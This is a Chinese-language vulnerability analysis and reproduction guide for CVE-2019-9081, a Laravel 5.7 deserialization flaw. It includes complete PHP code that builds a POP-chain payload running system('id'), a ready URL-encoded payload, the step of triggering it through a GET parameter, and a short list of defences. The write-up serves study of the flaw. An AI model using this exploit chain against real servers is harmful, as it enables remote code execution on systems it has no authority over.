Laravel入坑之CVE-2019-9081复现分析
字数 1391 2025-08-27 12:33:30
Laravel反序列化漏洞CVE-2019-9081分析与复现
漏洞概述
CVE-2019-9081是Laravel Framework 5.7.x版本中Illuminate组件存在的一个反序列化漏洞,远程攻击者可利用该漏洞执行任意代码。
环境准备
系统要求
- PHP版本 >= 7.1.3(推荐PHP 7.2)
- Laravel 5.7.x
环境配置(Ubuntu示例)
# 禁用Apache中的PHP7.0
sudo a2dismod php7.0
# 启用PHP7.2
sudo a2enmod php7.2
# 重启Apache
sudo systemctl restart apache2.service
漏洞分析
漏洞位置
漏洞出现在Illuminate\Foundation\Testing\PendingCommand.php文件中,其__destruct()方法中调用了run()函数来执行命令。
漏洞利用原理
通过反序列化该类的实例对象来调用run方法执行命令,达到RCE的效果。
漏洞利用链分析
关键类说明
- PendingCommand:包含可执行命令的
run()方法 - GenericUser:用于绕过属性检查
- Application:用于控制依赖注入容器
利用链构造
<?php
namespace Illuminate\Foundation\Testing {
class PendingCommand {
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters, $class, $app){
$this->command = $command;
$this->parameters = $parameters;
$this->test = $class;
$this->app = $app;
}
}
}
namespace Illuminate\Auth {
class GenericUser {
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation {
class Application {
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings = $bind;
}
}
}
namespace {
$genericuser = new Illuminate\Auth\GenericUser(array(
"expectedOutput" => array("0" => "1"),
"expectedQuestions" => array("0" => "1")
));
$application = new Illuminate\Foundation\Application(array(
"Illuminate\Contracts\Console\Kernel" => array(
"concrete" => "Illuminate\Foundation\Application"
)
));
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
"system", array('id'), $genericuser, $application
);
echo urlencode(serialize($pendingcommand));
}
?>
关键点解析
-
PendingCommand构造参数:
$command:要执行的命令(如"system")$parameters:命令参数(如array('id'))$class:GenericUser实例$app:Application实例
-
GenericUser的作用:
- 提供
expectedOutput和expectedQuestions属性 - 当访问不存在的属性时触发
__get()魔术方法 - 绕过
mockConsoleOutput()方法中的属性检查
- 提供
-
Application的作用:
- 控制
$bindings属性 - 使
$this->app[Kernel::class]返回Application对象 - 最终触发
call_user_func_array()执行命令
- 控制
漏洞复现步骤
-
生成Payload:
- 执行上述EXP代码生成序列化字符串
- 对结果进行URL编码
-
触发漏洞:
- 通过GET参数传递序列化数据
- 示例URL:
http://target/index.php?code=[生成的payload]
-
典型Payload示例:
O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D
技术细节分析
反序列化流程
unserialize()触发__destruct()- 调用
PendingCommand的run()方法 run()调用mockConsoleOutput()- 通过
GenericUser绕过属性检查 - 最终执行
call_user_func_array()实现RCE
关键函数调用链
PendingCommand::__destruct()PendingCommand::run()PendingCommand::mockConsoleOutput()Application::make()Container::call()call_user_func_array()
防御措施
- 升级到Laravel安全版本
- 避免反序列化用户可控的数据
- 使用白名单验证反序列化的类
- 实现
__wakeup()或__destruct()方法的安全检查
参考资源
- Laravel v5.7反序列化RCE分析
- Laravel服务容器深度解析
- Laravel 5.7官方文档
- PHP自动加载机制解析